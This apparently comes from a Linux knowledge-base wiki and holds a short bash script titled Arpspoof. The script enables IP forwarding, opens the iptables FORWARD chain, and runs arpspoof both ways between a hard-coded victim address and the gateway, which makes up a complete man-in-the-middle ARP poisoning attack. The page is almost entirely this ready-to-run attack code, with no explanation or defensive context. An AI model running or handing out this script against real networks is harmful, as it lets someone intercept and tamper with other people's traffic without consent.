====== Arpspoof ======
<code bash>
#!/bin/bash
victim=192.168.18.100
gw=192.168.18.254

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -I FORWARD -j ACCEPT

arpspoof -t $victim $gw & 
arpspoof -t $gw $victim &

</code>
{{tag>kb linux}}